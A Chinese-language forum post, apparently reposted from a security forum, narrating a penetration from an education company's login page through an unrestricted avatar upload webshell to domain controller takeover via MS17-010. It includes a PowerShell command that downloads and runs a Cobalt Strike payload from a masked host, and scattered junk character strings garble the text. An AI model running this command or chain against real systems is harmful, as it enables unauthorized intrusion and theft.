2 _& E5 q% H, [8 a2 Y3 n 这次渗透是一个从0到1,从外网到拿下域控的实战过程,希望可以给大家一些思路
1 |; K3 Q- _+ ~- }/ Q
正文6 f* @/ x, g* d$ ~8 w
5 T! d" v- Q i# ^
目标:www.xxxx.com(一家教育机构)
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
' J3 m! c3 c6 O8 L- r
进行了简单的信息搜集
& W7 y+ G U }( O0 }
子域名搜集5 N5 K& W. r G! e3 A4 M
8 C% o) l. _9 i; V0 [% z7 u: `
fofa找资产
1 E' h) N; D- o- c2 `
+ h# a5 L7 A/ N
' ?( u% O( w/ i
一共七个资产。去重之后只有两个。
; c" G9 ~- Y7 W' w* n: C" T( P
) |' N4 Y" Y1 K- c
目录探测& z5 e) {: N0 U- X- \- G
我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
! n( R4 j; x4 s" Q& }
% d" A& \5 r9 v" E5 [6 q! C! U
2 s" s; F2 S. h5 V& R5 z
我又尝试了通过修改返回包来绕过登录界面. G1 m# U, S' ^6 P( U7 p4 U
5 _1 K4 \9 N* u+ K- ?% W9 }0 \7 Q5 E5 n* x2 p7 A. q5 c6 [% O
' G0 t+ V9 r0 f/ i* P. H$ Z
还是不行,尝试注入无果: }7 A: J- N0 E9 j2 ^7 z# X4 d" |4 K
8 O2 }( T) ]7 O1 E
不过我目录探测出了一处Spring信息泄露
4 Z3 c5 l( {1 y" n, }% O7 ~
8 f4 D# _3 Z) G; U
0 m1 r- ]; p2 J C
, Y1 ]2 s" k, R) T; Y
; q" i w& _+ C 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录+ G, j% E& b+ E- t
: g: o% a, S# I4 ?7 I1 G- a" W& Y" R2 R
后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。
3 C! u' h$ }7 P& o
) t$ z8 ^, f- y/ ]
获取有些师傅到这一步就手机抓包电脑测了。6 W P5 \5 Q- ~% o& H6 w, R. J
8 t/ f y) [; m5 pWindows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。
/ ?5 b J6 b" y! M) k, B3 E1 l1 T1 Y' K9 Q* S" D$ T; V& @ 其中在一个公众号发现了小程序,可以进行注册。/ T, ?, N2 [( l2 v
; z/ L3 E# t$ O+ ?1 I! t+ z! y9 S" E8 n 看到了头像上传,尝试上传获取WebShell
+ k9 C$ n2 I) C7 e" z
+ Q/ l4 i4 i/ O; }8 p 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问+ ^* I. Q1 J2 Y/ E3 y3 J
# T; z" R7 a3 f) c( c* {# G# g' L; j% F$ ^" U% B. h- a- E# ~
/ m+ [; }! |- }0 N d1 u: W 然后上了大马/ @6 m1 {' s" s4 e
& n' I- g' f1 @: n( Q, Q' Z' \6 d
8 v# L, K' c- b
通过翻找文件发现数据库账号密码+ g& O1 x. H9 H. c: b+ E$ B# T _
" J# P2 I# A' b/ ]. S0 n k& O$ ~6 v- `( P3 ?! E
0 {$ A2 g; \0 ]" H9 c3 w2 e --内网渗透- A# F! _* n; F0 L2 s9 o
直接通过powershell执行 cs上线
5 ?: s$ E7 Z" d4 B6 mpowershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"
M' @1 p7 k0 B, R" m
进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破
0 ?* t4 l5 D5 n# f( q# _- l7 ?$ u: M, R8 a# e# V: k" r4 v7 b
% P3 X4 _5 y! c1 C, x! r% Q+ E' k- g
登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
5 d) `- t. s9 N
6 M- Q* F7 b1 h$ e. l
2 w% p6 G) W6 Z7 W1 j: F ~( Q: R
通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
! q' w, V* {. M. s3 m7 U4 L- k! H! z4 m
; i& H: ~5 m) G5 K9 T8 ]; e
, O7 M" E. a( C0 I, {
$ G" m8 s& i- B; k; l
z5 l8 h4 {9 T
小结# t5 S+ _( I8 _" a* `$ v& R
' J7 }6 R2 l* H! W: S5 K
0 F; G/ ?- v( K2 F u. ^ B! t: m4 s2 J8 Y7 A1 Q* p. c 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!; T7 G, j: A5 W, X
' f) H) q# N0 h; |- d7 H5 K( n
- }" e, K" Q$ N) J( W1 h& ?$ B# c& Z1 B 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html
9 Q# J) M! ]; j6 F 8 b) {8 G3 Y0 b3 _3 ?
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |